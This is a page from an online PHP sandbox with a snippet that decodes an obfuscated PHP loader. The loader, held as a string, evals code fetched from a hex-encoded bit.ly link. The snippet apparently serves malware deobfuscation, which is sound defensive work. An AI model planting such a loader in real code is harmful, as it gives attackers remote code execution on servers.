PHPize Online / SQLize Online  /  SQLtest Online

A A A
Share      Blog   Popular
Copy Format Clear
Copy Clear
Copy Format Clear
<?php $str = 'eval("\x3f\76" . file_get_contents("\x68\164\164\160\x73\72\x2f\x2f\x62\x69\x74\56\154\x79\x2f\63\111\x69\164\114\107\143"));'; function deobfuscateEvalHex($str) { preg_match('~eval\s*\("(\\\\x?\d+[^"]+)"\);~msi', $str, $matches); $res = stripcslashes($matches[1]); $res = str_replace($matches[1], $res, $res); $res = str_replace($matches[0], $res, $str); return $res; } var_dump(deobfuscateEvalHex($str));
Show:  
Copy Clear